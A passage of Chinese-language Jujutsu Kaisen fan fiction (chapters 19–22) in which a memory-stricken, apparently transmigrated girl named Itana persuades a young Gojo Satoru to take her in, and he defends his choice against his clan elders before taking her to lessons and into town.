蓝光停留伊田奈身上片刻时间,下一秒,蓝光冲破金光屏障,直直落到伊田奈体内。
“人类!”宿傩急声道,伸出手,拉住伊田奈,可什么都没碰到。
19. 初遇
伊田奈总觉得自己好像做了一个很长很长的梦。
梦里,有一个看不清脸的男人。
她放了一把火,村子在燃烧……
好多好多人死在她面前,求饶、鲜血、脑袋……
有一个人拉住她的脚,那双手红彤彤的,在冰天雪地里。
伊田奈睁大眼睛,想要看看是谁的手,画面突然天旋地转……
好多乌压压的人……
好多人死在了雪地……
伊田奈睁大眼睛,想要看清笼罩在迷雾里的一切,可是不论她把眼睛睁得多大,眼前的雾从来没有消散。
人类!!!
好像有人在叫她。
是谁,是谁在叫她?
伊田奈回头,怎么也看不清叫喊那人的脸。
“是谁?!你是谁?!”
鼻子和喉咙灌入冰凉的水。
手脚在水中无力挣扎,眼睛也看不见了。
“不!不要!”
涩谷街头,皮肤白皙,长发及肩的大眼小姑娘猛然睁开眼。
小姑娘穿着时下罕见的古风漂亮裙子,中国元素,头发用漂亮的头绳扎起来,睫毛狭长浓密,一眼就是非常讨喜的小朋友。
她眨巴两下眼睛,看着眼前熟悉陌生的都市场景,提着公文包匆匆忙忙的上班族,顿时泪眼盈盈。
眼泪不受控制地从眼眶掉落。
伊田奈觉得自己好像忘记了什么,心里空落落的。她抬起手,停留在左边心脏,心脏跳动很快。一下一下。
左心口空落落的,像是被一双大手捏住。
整个人都快呼吸不过来。眼泪更是如同断线风筝。
伊田奈控制不了自己的情绪,大声哭出来。
小孩子哭声吸引了一圈人。
“你怎么了,小朋友?”
跪坐在地上宛如瓷娃娃的小姑娘没有回答,继续嚎啕大哭。
“小朋友是不是和爸爸妈妈吵架了?瞧她穿的这么漂亮,应该是有家长在身边。”
“不会是和家长吵架了吧?”
“有可能,要不我们报警?”
听到“报警”二字,羊脂玉般小姑娘抬起袖子擦干眼泪,奶声奶气:“不要报警,他们就在前面,我去追他们!”
她撑起一只手,从地上爬起,两条小短腿飞奔向前。
围观的人慢慢散开。
伊田奈一边哭一边朝前跑,跑了一段,停下来。
她的脑子现在一片空白,什么都想不起来,不知道自己是谁。
只是觉得,自己好像忘了一个好像对她很重要很重要的人,那人站在迷雾里,她怎么想,都回忆不起那人的面容。
伊田奈想得头痛,眼泪一直流。她想控制自己不去想那个人的一切,可是脑子里自动出现和那个人的画面。
伊田奈忍痛给了脑袋瓜子两记暴栗,换来一阵刺痛和几滴眼泪。
脑子本来就痛,这样一敲,更是痛得发晕。
羊脂玉般白皙圆润的小姑娘眼角挂满了泪,肉乎乎的小胖手揉着红红眼眶。
五条悟一抬眼就看到这样一幕,严肃沉默的少年嘴角悄悄勾起,就连自己都不知道。
少年藏青色连帽卫衣,黑色运动裤,裤子中间有一条白色竖杠。
他的头发是白色,眼睫毛也是白色,皮肤却不是生病孩子那样病弱的苍白,而是与哭泣小姑娘一样,如同羊脂玉一样白。
蓝色瞳孔,宛如海底深处宝石,绽放光芒。
伊田奈只是看了一眼,就看呆了。心头那股酸涩痛感,也随之减缓。
伊田奈尾随在少年身后。
少年双手插进裤兜,整个人瞧上去桀骜不驯,尤其是看人的眼神,就像是看狗。
足够狂傲、高冷。
少年脚步突然变得忽快忽慢。
快时,身后小姑娘迈着小短腿吭哧吭哧追上;慢时,小姑娘踩着乌龟步半天才迈动一步。
五条悟乏了,停下脚步,身后的小姑娘追逐的脚步太快,一下子没刹住车,一头撞在五条悟背后。
少年转身,白色狭长睫毛遮住阳光,眼底一片阴翳。深蓝色宝石眸子居高临下,冷冰冰,没有一丝感情。
他双手插进裤兜,浑身痞里痞气,居高临下看向面前女孩,“喂,谁派你来的?”
声音略微稚嫩,可神情和语气是那样冷漠。
白皙圆润小姑娘停下,摸了摸头,眼角红红的,像是刚刚哭过一场,脸上还有泪痕,衣服上也有白花花的东西。
少年目光在衣服上白色污渍处短暂停留,慢悠悠抬眼,对上那一双漆黑水润眼眸。
眸中闪着亮光。是一双明亮眼睛。
少年能从漆黑瞳孔中看到自己的倒影。
这是一个没有丝毫咒力的普通人类。少年释放威压,从她身上感受不到丝毫咒力,随即收回。
少年冰冷质问似乎让这个小女孩感到害怕,红红眼尾轻轻颤抖。
女孩红润嘴唇抿成一条直线,肉嘟嘟的手掌紧紧攥成拳头。似乎是紧张,女孩全身都在颤抖。
少年眨了眨眼,狭长纯白睫毛轻轻颤动,蓝宝石般闪耀的双眼没有错过女孩这些细小举动。
他冷冷注视面前的女孩,平静说出与这个年龄段一点都不符合的语言,“真是越来越废物,竟然派你这样一个连咒力都没有的家伙来。”
女孩白乎乎的掌心攥得更紧了,“不!没人派我!我是自愿的!”她顿了顿,深吸一口气,鼓足勇气开口。
“大哥哥,你收养我吧!我给你当牛做马!你带我回去吧!”
女孩狭长乌黑睫毛轻颤,乌黑水润的瞳孔闪着期待光芒,嘴唇紧抿,指尖太用力一片泛白。
少年一怔,眼里的警惕化作疑惑,他不明所以打量面前瓷玉般的小女孩。
个头勉强到他的胸口,头发扎得很复杂,头上装饰着饰品、衣服一眼看去价值不菲。
“你疯了?”少年开口,“算了,我不和疯子计较。”
他转过身,腿还没迈开,就差点被白团子一把抱住。
白团子眼尾红红的,眼里噙着泪,一脸倔强,试图抱住他的腿。
冲上来一次,就会被无形屏障挡住一次。
她用力抱住屏障,一脸崇拜:“我就知道,你肯定不是一般人!收养我吧,大哥哥!我真的可以为你当牛做马!”
少年身上穿的衣服一眼望去,就是与周围人不同的质感。寻常人家谁会给小孩穿这样奢侈的衣服!一看就是个有钱人!
伊田奈脑中一片空白,只知道靠近面前少年会让脑袋不那么疼,还能够借机蹭到很多钱!
少年后退一步,伊田奈便前进一步。
躲在暗处的人蠢蠢欲动,少年一个眼神扫去,都安静下来。
“当牛做马?你给我?”少年重复一遍,还是一样冷漠、甚至冷淡的
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语调,没有丝毫感情。
伊田奈哐哐点头,“大哥哥,我以后还可以把我挣的钱分你一半!”
似乎是怕少年不同意,伊田奈犹豫片刻,附加上上贡一半薪资的诺言。
“一半?”少年意味深长。
伊田奈咬牙,白皙圆润的脸颊被屏障挤作一团,她咬牙,“大哥哥,以后我赚的钱全都给你!求求你了!就收养我吧!你让我往东我绝不往西!”
“求求你了!收留我吧!”
稚□□声传来。
少年没有丝毫动容,蓝宝石色瞳孔一脸淡漠,“你不回家?”他歪头。
伊田奈微微愣住几秒,“没有家!我没有家!收留我吧!大哥哥!”
屏障外,是挤压得扭曲变形的圆脸,一双转得圆溜溜的漆黑眼睛。
少年继续问:“收留你,对我有什么好处?”
伊田奈能带给对方的好处微乎其微,可她还是认真思考,答道:“我……我可以每天都关心大哥哥你!我……我还会做饭!我随叫随到!”
伊田奈一股脑说出来,两只乌黑水灵的眼睛却露了怯,藏到眼角,偷偷看面前少年。
“呵呵……”少年低笑,是少年人独特的嗓音,带着几分柠檬味汽水的清爽,又有几分男人的沙哑。
伊田奈求收养的决心更坚定。
“真的!我很会关心人的!我……我还可以给大哥哥你暖床!”白团子皮肤白皙如瓷玉,脸上只要有一点点红都能看得一清二楚。
此刻她两边脸颊红彤彤,像一只成熟的苹果。
“你就收留我吧!我真不是什么间谍,要是真是间谍,大哥哥你把我千刀万剐我也绝不说一句!”明白少年的顾虑,伊田奈撒娇打滚,寸步不离,补充着少年担忧地方。
少年又恢复到平日里冷漠的样子,只是眸子里多了几分笑意。
“是你要跟我走的,要是你背叛我了,我不会手下留情。”
“嗯嗯!”
躲在暗处的五条家人急得团团转,恨不得现在就让家族知道少爷在大街上捡了个小女孩!可他们还没探出身子,少爷的杀气便纷涌而至,不得不缩回脑袋。
钱难挣,屎难吃!也不知道回去以后怎么交代!
五条家。
伊田奈亦步亦趋跟在少年身后。
她果然赌对了!这个少年是个超级无敌有钱人!光是住的地方都像是公园一样!正门还有人专门守门!
伊田奈一路瞧着五条家豪横装修,独立院落,两只眼睛看成星星眼,闪闪发光。
不觉落后少年一截,伊田奈小跑追上去,想要揪住少年衣角,防止走丢被少年家里人丢出去。
可惜,伊田奈什么都没碰到。
她的手被隔绝在屏障之外。
“少爷,真的不能抓你的衣角吗?我就只抓一点点,你家太大了,我怕到时候走丢了你家里人直接把我给丢出去……”伊田奈谄媚,语气可怜巴巴的,两只乌黑灵动的眼眸沉下,像只可怜小狗。
少年顿了顿。
称呼变了。
他不喜欢少爷这个称呼。
“只需抓衣角,不许做其他事。”屏障一下子消失,少年冷漠声音从前方传来。
伊田奈眼睛亮了亮,高兴道:“谢谢少爷!”
“不要叫我少爷,叫我五条悟。”少年停住脚步。
伊田奈愣住,试探道:“……五条哥哥?”
20.兜底
伊田奈说出这话时,自己不觉起了一身鸡皮疙瘩。
叫人哥哥,就是还怪尴尬的。
少年嘴角微不可察抽了抽,他居高临下瞧面前白团子,宝石色瞳孔一如既往冷漠,“不用加那些,直接叫我的名字。”
伊田奈顿了顿,黑溜溜眼珠转了转,“五条悟?”
少年眉目舒展,“嗯,就这样。”转过身,继续向前。
伊田奈攥紧少年衣角,跟在少年身后亦步亦趋。
前堂大厅。
面色严肃的老者坐在椅子上,手里拿着一叠打印资料。
没有任何资料能够证明照片中白白胖胖小女孩的身份。
她就像是凭空出现,没有任何预兆出现在涩谷街头。
街道监控突然崩溃接近五分钟时间,一脸哭泣小女孩恰巧在那时候大哭。
老者问:“监控是什么问题?”
“回家主,监控是自然问题,没有任何人为痕迹。”
老者:“那个小姑娘什么资料都查不出来?”
“属下无能。”
老者摸了摸垂下的胡子,面露怪色,“真是奇了怪了,难不成这小姑娘是从石头缝里蹦出来的?”
穿着藏青色卫衣、黑色运动裤的白发少年一步一步走进。
身后亦步亦趋跟这个白瓷一样的女娃娃。
老者看见这白毛小孩和身后的女娃娃气不打一处来,粗糙发黄掌心不断抚摸刚蓄出没多久的胡子。
白发的少年定住,站姿挺拔,狭长白色睫毛随着眼睑颤动。蓝宝石般的眼睛没有丝毫畏惧,他立在远处,俯视坐在椅子上的老者。
“我要收养她。”
她,自然就是瑟缩在少年身后,洋娃娃似的伊田奈。
伊田奈悄悄为着少年竖起大拇指!
真男人!
老者抚摸胡子的频率增加,沟壑崎岖的脸上微不可查抽搐一回。
“哼!你倒是会做决定。”老者闷哼,阴阳怪气。
“我已经答应她了。”少年对上气势滔滔的老者,没有丝毫犯怵,更没有丝毫害怕。
“来路要是正当我也不说什么!你瞧瞧!这女娃儿来路不明,要是哪天被卖了我怕你还得给人家数钱!”老者气哼哼把资料砸在桌上,手下很有眼力见地取过资料,弯腰递到五条悟面前。
五条悟淡淡扫过资料,封面上有这个白团子的照片,他没有接。
“我会兜底。她不用你们管,我自己会管。”五条悟说话时的语气淡漠,蓝宝石色瞳孔还是那样的波澜不惊。
仿佛收养的不是一个来历不明的人,而是从路边随随便便捡一只毛毛狗狗。
“你来兜底?悟,你将来可是五条家族的继承人!你要是出事了,五条家族怎么办?”老者气笑了,对五条家族出的这个天才,他一向是打起十二分精神。
可是这孩子天生六眼,性格上桀骜,常人的话更是听都不听。
“她没有咒力。”相较于老者此刻的暴怒,五条悟平静得多,就像一汪平静的水,没有一丝波澜。
伊田奈瑟缩躲在少年身后,听到少年因为自己和老者争吵,悄悄从少年身后探出头,眨巴一双水灵灵的大眼睛,小声说:“我不是什么奸细,更不是间谍!”
“你不许插话!”老者吹胡子瞪眼。
“切……”伊田奈小声吐槽,缩回少年身后。
“你不用凶她。”五条悟听得一清二楚,“我说了,我能兜底。”他又强调一遍。
蔚蓝色瞳孔闪着点点光亮,写满不容置喙。
“你要是喜欢小孩,改日我就让人从旁系领养一个回来,知根知底,这样不好吗?”老者瞪着一双眼,试图旁敲侧击,让这孩子放弃这想法。
“我只要她。”少年目光坚定,没有半分动摇。
“行行行!你能兜底!我倒要看看你能捡什么好东西回来!”老者软磨硬泡无用,只好一挥袖袍,权当看不见。
“走吧。”少年转身,背影消瘦、孤寂。
伊田奈小跑上前,“五条悟你等等我!”小胖手在要攥到衣袖时似乎被阻碍了一下,而后畅通无阻攥到少年衣袖。
伊田奈嘴角微不可察扬了扬。
“五条悟,你好牛!”小胖手攥住衣角,伊田奈眼睛亮晶晶的,“简直就是这个!”
伊田奈竖起大拇指,真心夸赞。
五条悟年纪不大的样子,看着就像个小学生,行事竟然如此爽快!
伊田奈的住处就在五条悟隔壁。
女佣劝阻:“少爷,这个人来历不明。让她住的和您那么近不安全。”
女佣完全没有避讳伊田奈这个外人,甚至说话时还用警告的眼神看了伊田奈一眼。
伊田奈攥住五条悟衣角,撇了撇嘴,做了个鬼脸。
五条悟目不斜视地朝前走:“我说了,我会兜底。”
小小年纪,不仅眼神沉稳,做事也很靠得住。
“你看看,需要添置的可以直接告诉她们,”顿了顿,五条悟补充,“她们不听,可以告诉我。”
“今天你就住在这里。”
伊田奈张大眼睛看房间里的布置,简洁漂亮,但看起来很有质感。
伊田奈很喜欢这个住宿环境。
“晚上的时候我会被悄悄丢掉吗?”伊田奈问。
少年沉默不语,说:“我不会让他们把你丢掉,!我说了,你是我带回来的人。”
伊田奈除了五条悟,下意识关注其他人的反应。
其中有一个女佣明显僵了一下。
这么藏不住吗……
“那我这两天可以和你待在一起吗?我很安静的,不会打扰你……”伊田奈降低音量,听上去委屈巴巴。
说话的时候眼尾红红的,像一只眼红的垂耳兔。
一只很丑的垂耳兔,五条悟想。
他还没来得及说话,女佣就插话了,“少爷不可以!”
五条悟幽深湛蓝的眼睛扫去,他一言不发,直直盯着女佣。
女佣浑身颤抖,冷汗浸湿两颊碎发,“少爷,我错了!”
少年收回落在女佣身上的视线,在房间里剩下的人身上逡巡一圈,“我不希望别人插手我的决定,希望不要再出现第二次。”
女佣集体附和:“是!”
五条悟转身就走,伊田奈捡起地上的枕头,快步追过去,“等等我!”
五条悟的房间很整洁。
黑白两种颜色,整洁的衣柜、地板、书桌……伊田奈踩在地面都会生出负罪感。
太干净了!
进入内间时,
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五条悟停下,白色整洁的袜子映衬得脚踝和小腿异常白皙。
“你,要不要换身衣裳?”五条悟道。
伊田奈今天的衣服在街上跑的脏兮兮的,头发也乱了,脸上还有眼泪蒸干后的盐分,非常狼狈。
伊田奈收回落到五条悟脚踝处的视线,脸色有些红,不好意思地伸手挠头,又点头表示同意。
女佣找了一套新衣服,是一套白色和服,还有一双干净的袜子。
女佣手指落到伊田奈衣服上,就要帮伊田奈换衣服,伊田奈摆手拒绝,自己换好。
换好后,女佣还帮她重新扎了个丸子头,还洗干净了脸。
“怎么样,好看吗?”伊田奈扎着崭新丸子头在五条悟面前转了个圈。
五条悟单薄脊背靠在门边,眼前一亮,抬起眼打量面前转着的小白团子。
更像一只兔子了。
“走吧。”
女佣们退下。
房间里多了一张睡觉的垫子,伊田奈带的枕头也在上面。
“五条悟,你想做什么就做什么吧!我不会打扰你的!”伊田奈眨着亮晶晶的眼睛,走到崭新的粉色垫子前,“这是我的垫子吗?”
少年点头,白色眼睫下垂,遮住眼底阴翳,“今天不影响。”
五条悟身上除了拒人千里之外的冷漠,还有点淡淡的忧伤。
伊田奈点头,“好的!”
她走到自己的垫子,一鼓作气躺上去,“我先休息一会儿,不用管我!”拉上夏日盖的薄毯子,遮住脑袋。
薄毯下,纯真无害的乌黑眼眸多了几丝疲惫。
脑袋没有之前疼了。
如同她想的那样,跟着这个少年的确能减轻脑袋的疼痛。
跟这个少年走后,脑袋零零散散出现一些画面,伊田奈闭眼,把那些画面串连起来。她穿越了。
从种花家穿越到了隔壁。除了种花家的记忆,伊田奈隐隐约约看到其他画面。
村庄、女人、火、男人……
所有的这些,伊田奈用尽全力,也只能看清一个轮廓。
所有的一切都笼罩上一层薄雾,看不真切……
和在大街上时的记忆一样,沉重的溺水感……
脑子里像是有一把巨锤一阵一阵敲击脑髓,阵痛一阵阵传来。
伊田奈出了一层冷汗,脸色苍白。薄被表面被冷汗浸湿。
五条悟合上手中少年漫,鬼使神差,他朝那白团子那边瞧了一眼。
白团子薄被上一层明显的水渍,背面还在轻轻颤抖。
“你怎么了?”五条悟上前,掀开背面,看见白团子苍白的脸色。
白团子睁开眼,眼神迷离,强撑着说:“没事,不过是做了个噩梦。”
她好像丢了一部分记忆,但是她的身体不允许她窥探那部分记忆。
这绝对不是原来的世界,伊田奈肯定。
“可以给我一面镜子吗?”
五条悟顿了顿,取出一面镜子。
伊田奈看着镜中的自己,面容白净,肉嘟嘟的,两只眼睛水灵灵的。
一个很漂亮的小孩。
和她上一世有八分像。
是她的身体。
伊田奈努力睁眼,想看得再仔细一点,可眼前却突然一昏。
21.规则
带着口罩的医生站在白发少年身旁。
“五条悟?”伊田奈睁眼,眼前是熟悉的房间。
医生戴着白色口罩,确定伊田奈没事,叮嘱道:“压力太大导致精神状态不好,最近要注意饮食清淡,不要给病人增加精神压力。”
女佣送走医生。
房间只剩下五条悟一个人。
五条悟换了一身衣服,深蓝色和服,和服质感很好,腰带打了个结,和服外有一件白色外套。
“你压力很大?”少年白色睫毛轻颤,坐在伊田奈旁边,盯着伊田奈。
“还好,看到了一些模糊的画面。”伊田奈说,“本来想睡觉的,谁知道睡着睡着就有一些奇奇怪怪的画面跑进脑子里,怎么都看不清楚,越想看清楚头越痛。”
“什么样的画面?”
滔天的火光、死掉的人类、满地枯骨、一个男人……
“我记不清了……”伊田奈说,“我看不清楚那些画面。”
白团子有点不可爱了。
六眼洞悉一切,包括面前人的不乖。
她在撒谎。
五条悟没有说话。
伊田奈在房间里躺了三天,终于修养好身体。
这三天,她死皮赖脸赖在五条悟房间里。
说实话,和美少年住在一起是很让人享受的。
尤其是带着一点忧郁气质的美少年。
伊田奈总觉得这样一个人,要是出现在小说里,一定会是超强美强惨人设。
毕竟,忧郁是一种天赋。
每天早晨天不亮,美少年就会被仆人唤醒。
伊田奈问他:“你去做什么?”
“上课。”
少年的话总是很简短。
伊田奈看一眼少年忧郁的背影,成功倒下身钻进被子里。
“五条悟再见!放心,你没睡的觉我先帮你睡了!”
悠长均匀的呼吸声传来,穿着白色鞋袜的少年脚步一顿,棱角分明的脸朝瑟缩在被子里的人深深瞧了一眼,才抬脚前行。
伊田奈想不起来究竟忘了什么东西,睡醒了叉着手翘着腿,瓷玉般白皙圆润脸庞朝着天花板发呆,两只眼睛圆溜溜的转。
长相还是从前的样子,和她小时候神似得不得了,屁股上还有一块蝴蝶形胎记。
这不是她的身体难道还能是其他人的身体?
搞不明白为什么会变成现在这个模样,但目前这个情况,伊田奈想不出比五条悟还好的冤大头。
伊田奈根据女佣的话拼凑出,这不是一个正常的世界。
就拿日本来说,日本不单单只有普通人,还有遍地咒灵,咒灵是怨念滋生出的,能够杀掉很多人。
为了抑制咒灵,有了咒术师。五条家族是日本最大的咒术师家族之一,历史悠久,家底深厚。
带她回来的小少爷五条悟,也就是未来的五条家主,是超级天才,小小年纪就已经非常厉害。
伊田奈存了想回种花家的心思。
一打听,种花家没有咒灵,但是有僵尸,厉鬼。
伊田奈瞬间吓得退后。咒灵好、咒灵妙!伊田奈宁愿看见一百只咒灵也不想看到从棺材里面跳出来的僵尸。
她可不是能降妖除魔的道士。
一想到美国,她更是没了心思。
米国没有咒灵,但满地丧尸女巫幽灵。
其他国家更不用说,也各有流行的恐怖存在。
这样一对比,伊田奈更愿意呆在日本。
因为傍上大款了。
五条悟气质忧郁,性格很有反抗精神。
心情不好的时候会逃课到处乱跑,这次把她带回来,应该也是为了和家里作对。
伊田奈运气好,一睁眼就能遇到这么一个活菩萨。
想到这的时候伊田奈就翘着脚哈哈大笑。
虽然不知道怎么回去,但是伊田奈觉得现在的生活还是很不错的。
这样过下去也不是不可以。
五条悟上完一天的课。
“她今天还是一整天待在房间?”
女佣一愣,赶忙回复:“是的少爷。”
五条悟进门。
伊田奈翘着腿看天花板发呆,脸上嘿嘿傻笑。
“五条悟,你回来了?”听见五条悟的声音,伊田奈连忙起身,笑眯眯朝他走去。
五条悟问:“你一连三天都没出去?”
伊田奈笑容僵在脸上:“怎么了,这样不可以吗?”
五条悟从来没有见过比他年纪还小的孩子整日待在房间里,一步都不踏出去。
小孩子们都很贪玩。
“你不想出去?”湛蓝色瞳孔闪过一丝疑惑。
“还好吧,想出去的欲望没有那么强烈。”伊田奈伸手挠头,有点不好意思。
金窝银窝不如自己的狗窝,她不是很想出去。
“明天,要不要和我一起上课?”五条悟盯着面前羞涩的女孩,问道。
“不用了,我又没有咒力,看了也没作用。”伊田奈摆手拒绝。
五条悟盯着伊田奈。
族长和老师企图通过施压,让他把白团子送走。
他们承诺,会给白团子一个优渥的环境,不会亏待她。
五条悟统统没有答应。
他做好决定的事,不想改。
而且,看到他们吃瘪的样子,他甚至想大声笑出来。
“她对你图谋不轨!要是她是间谍怎么办?”
“你现在年纪还小,不知道其中的利害关系!”
“你就听我们的话,让我们来安排那个小姑娘!”
少年站在正中央,四周是黑压压的人群,一个个阴沉着脸。
“那个小姑娘太邪门了,竟然没有一个人能够查出她的身份,像是凭空冒出来的!她在五条家就是一个隐藏的祸害!”
“悟,这样邪门的人不能留在身边。”
“你现在年纪已经不小了,不能再像从前那样任性!你要把家族利益放在首位,你以后可是五条家的继承人!整个五条家都要交到你手上!”
“你要以家族的利益为重!五条家为了培养你尽心尽力!”
四周黑压压的,一双双精明浑浊的眼睛用审视的目光紧紧盯住站在最中央的白发少年。
唾液横飞。
白发少年湛蓝色的眼睛没有落在任何一个人身上,像是在眺望远方,可眼前没有远方。
“我说了,我会兜底。”
白发少年嘴唇上下动了几下。
是更大的骂声。
“你兜底?你拿什么兜底?你知不知道外面有多少双眼睛在盯着五条家,在盯着你?
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要是让外面的人知道了,到时候你怎么办?”
“你是我们五条家族的未来,凭什么你要兜底?”
“我们刚刚说了那么多,你该不会一个字都没有听进去?你不能兜底!你是五条家族的未来!”
……
未来?
虚无缥缈的东西。
五条悟看见白色唾沫飞溅、嘴唇开开合合、花白的胡子、浑浊的眼球、一缕缕红血丝……
“要想送走她,就先把我送走。”
他站在人群正中央,看着众人原本平息的眉眼逐渐震怒,停下的嘴唇不断开合,粗糙的手指抬起,眼神带着审判意味。
五条悟嘴角微不可察上扬。
规则。
他喜欢挑战规则。
有一天,他会成为规则的制定者。
就像现在,他成功留下了面前这个来历不明的女孩。
五条悟问:“你叫什么名字?”
五条悟还不知道白团子的名字。伊田奈道:“伊田奈,我叫伊田奈!”
五条悟:“你的出生日期。”
伊田奈犯难,她也不知道她是什么时候出生。
“要不随便填一个?”伊田奈提议,“我不太清楚……你今年几岁?”
五条悟垂眸,他今年九岁。面前只有他腰部高的小姑娘,应该五岁?
伊田奈道:“没事,我随便选一个。”
今年1999年,伊田奈报了1995,后面两个数字和她从前生日一样。
第二天一早,伊田奈尚在被子里还没睡醒,感受到一阵剧烈的颤动。
睁眼,五条悟白皙漂亮的脸庞清晰地映入眼帘。
“五条悟,再见!”伊田奈恍恍惚惚晃了晃胖手掌,闭上眼接着睡。
“你今天和我一起上课。”少年带着柠檬汽水味薄荷音的低沉声音传来。
“这怎么可以?我怎么可以偷偷学习五条家的东西!这是坚决不可以的!”伊田奈想也不想就拒绝。
拒绝上课,从小做起。
“真的不一起去?”
伊田奈勉强睁开一只眼。
湛蓝色的宝石般瞳孔中散发着淡淡忧伤,还有失落。
伊田奈以为自己看错了,闭眼。再睁开眼睛,还是五条悟忧郁的双眼。
教室。
教习老师走进门,白发少年端坐在书桌边,身边多了个打哈欠的黑发小女孩。
小女孩白白胖胖,如同白色羊脂玉,睫毛狭长漆黑,一双漂亮的黑色眼睛闪着水光。
教习老师退出教室,再次走进来,朗声:“这位小姑娘是?”
五条悟向老师问安,“老师,她是来旁听的,您和从前一样授课就好。”
“哦?好好好。”
伊田奈从来没有上过六点半的早课,听得脑子发懵,一双眼睛直直盯着老师,双目无神,神思乱飞。
没一会儿,眼睛开始不受控制闭合。
伊田奈脑袋垂下来好几次,每一次都精准控制着抬起。
神志勉强清醒的时候,伊田奈悄悄偷看一旁五条悟。
五条悟腰杆挺得笔直,听课很认真。两只漂亮的眼睛听课时很专注。
这都不困,真牛!伊田奈上一秒感慨五条悟超强自制力,下一秒脑袋直直栽倒在课桌上,发出巨大声响。
22.背靠大树
五条悟和教师齐刷刷投来视线。
伊田奈额头砸出一道红痕,睁眼,打了个哈欠,声音迷糊,“下课了?”
五条悟:……
教师:……
伊田奈迷迷糊糊过了一早上。
最开始,伊田奈胆子很小,只敢坐着眯眯眼。后来,她发现授课老师忽视她以后,趴在桌上呼呼大睡。
五条悟没有阻止她,授课教师直接当作看不见。
毕竟,授课教师接触的都是大家族中的精英,很少有学生会在课上睡觉,更不要说打呼噜。
上午最后一节课结束,五条悟问:“你睡了三天还没休息够?”
伊田奈羞涩:“不是,没这么早起过,好像有点不适应。”
伊田奈高中毕业多年,已经很久没有这么早的作息了。
下午的课是实战课。
伊田奈瞌睡已经醒得差不多,站在一边观战。
伊田奈有点犹豫,不太想一起上课。
伊田奈婉转道:“我又没有咒力,应该不用上了吧?”
五条悟淡淡扫过一眼:“没有咒力也没关系。”
伊田奈欲哭无泪站在训练场,日头正大,太阳晒得眼睛都要睁不开。
训练课老师身材高大,肌肉结实,一眼望去就是个肌肉男。
五条悟换了一身作战时训练的衣服,勾勒出紧实肌肉。
他年纪虽然小,可不管是气质,还是身材都已经相当成熟。
训练老师说:“悟,小姑娘今天也要训练吗?”
五条悟看去,伊田奈笑眯眯摇头,他说:“不用,她观战就好。”
伊田奈被迫看五条悟训练一个下午。
少年训练时姿势干净利落,举手投足之间俱是贵气。
伊田奈看的一愣一愣的,暗道自己真是好眼光。半路撞见的都是这样玉树临风的小少年。
运气真不错。伊田奈又一次感叹自己的运气。
下午吃完饭,伊田奈笑眯眯就往住宿处走。
五条悟:“晚上还有课。”
伊田奈面露抗拒之色,小圆脸板作一团,两只眼睛滴溜溜转:“不行,我还是小孩,上不了那么久的课!”
五条悟嘴角悄悄上扬:“已经不小了。”
伊田奈无奈扯了扯嘴角,没发觉五条悟还有幽默潜质。
“真的不行了,五条悟,我好累啊!”伊田奈撒娇,软磨硬泡提前一个人回去。
夜晚,天色昏黑。
五条悟进屋,地面上的粉色床垫连带被子消失。
“她人呢?”他问身边的人。
“少爷,小姐已经搬回去了。”被五条悟承认的小姑娘,女佣们不敢轻视。
房间灯光亮起,亮光透过窗户传到窗外。
伊田奈蹦蹦跳跳走进来。
小姑娘头发解开,披在肩上,黑色长发柔软蓬松,粉色睡衣衬托得皮肤越发白净。
“五条悟,你回来了!”白面团子眼睛亮得发光!
“今天真是辛苦了!好好休息!晚上得早点睡!”伊田奈朗声,稚嫩童声清脆。
五条悟问:“你搬出去了?”
伊田奈说:“对啊!我本来就是住你隔壁的。前几天怕被丢出去所以来霸占你的房间,现在他们应该不会把我丢出去了,就不占用你的房间了!真是谢谢你!”
伊田奈笑眯眯谢过五条悟。最近几天,周围的人对她态度恭敬,应该不会把她随便丢出去。
她也算是软饭硬吃了。
想到这,伊田奈勾了勾嘴角。
“搬出去,你很开心?”五条悟问,白皙冷峻的脸上漠然,似乎毫不在意,只是随口一问。
伊田奈笑着说:“当然!不要担心以后被赶出去了!”
“你别伤心,虽然我和你不在一间屋子,但是我以后还是会来找你的!”伊田奈补充,“放心!”
五条悟“嗯”一声,蓝色眼眸扫过伊田奈,算是默认。
“那么,我明天可以去外面逛一逛吗?”伊田奈搓手,心里莫名期待。
“可以。”
“真的?”伊田奈伸手挠头,脸颊处出现一抹薄红,“不过我现在没钱,可以软饭硬吃吗?”
“可以。”
五条悟拉开抽屉,取出一张黑色信用卡,递给伊田奈,“密码是六个零。”
伊田奈笑眯了呵接过,“谢谢少爷!”
五条悟眼神一瞥。
伊田奈立马更正称呼:“谢谢我的好朋友五条悟!”
少年收回视线。
涩谷街头。
伊田奈走在大街正中央,感受到四面隐晦目光。
没想到自己还有体验成为香饽饽的一天。
“五条悟,你平时出门都是这样?”伊田奈目光扫过一个看似普通的男人,凑近五条悟耳边,小声问。
“嗯。”少年声音淡淡的,像是平静的湖水,冰凉、冷静。
伊田奈扯着嘴角,笑着打趣,“也是体验一把女明星日常。”
一路走到书店。
书店门口货架摆着漂亮的杂志漫画。
1999年,一切都有一股经济上升的美。
普通人的穿着、欣欣向荣的店铺、精美的漫画封面……
少年人们围作一团,货架上摆满了各色各样的少年漫,封面精美,朝气蓬勃。
伊田奈取下一本画风精美的漫画,翻开第一页,突然沉默。
“怎么了?”少年感知力极强,他手里已经挑选了好几本少年漫,注意到白面团子的迟钝,开口问。
眼前的文字似像非像。伊田奈觉得它们非常熟悉,她应该都认识,但是事实摆在面前,伊田奈一个字都不认识。
她虽然日语说得很好,能够精准表达自己的意思。但是她是个文盲。
“我……好像是个文盲。”白面团子两眼呆滞,面露绝望,双目无神望着远方。
白发少年唇角不经意间勾起,两只眼睛亮亮的,连他自己都未曾察觉。
“你还小,不认识正常。”
伊田奈扯着嘴角干笑两下。
最后,伊田奈一本漫画杂书都没买,在书店逛了半天都没挑到合适的书籍。
反倒是五条悟,选了不少少年漫,还给伊田奈挑了几本启蒙认字图书。
启蒙书色彩鲜明艳丽,伴有很多插画,很多插画还是立体插画。
伊田奈看到一只粉红色大桃子,道:“其实我可以不用插画版本的,我还是很聪明的。”
伊田奈努力维持聪明人设,五条悟坚持结账。
“也许吧,买一本不影响。”
伊田奈没拗过他,收获好几本色彩缤纷的启蒙插画。
伊田奈也到了需要启蒙的年纪。
五条悟看着冷冰冰的,下颚棱角分明,皮肤白皙,举手投足之间都是贵气。
伊田奈完全想象不到这样一个人会买苍蝇馆子做好的食物。
破旧的店面漆皮掉落,炸串炉子使用久了,有擦不掉的黄色污垢。
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白发少年站在炉子前,湛蓝色眼睛紧紧盯住飘香烤串,白色睫毛轻颤。
伊田奈对大少爷再次改观:“你也会吃路边摊?”
白发少年下颚微微一动,湛蓝色眼眸盯住伊田奈:“不可以?”
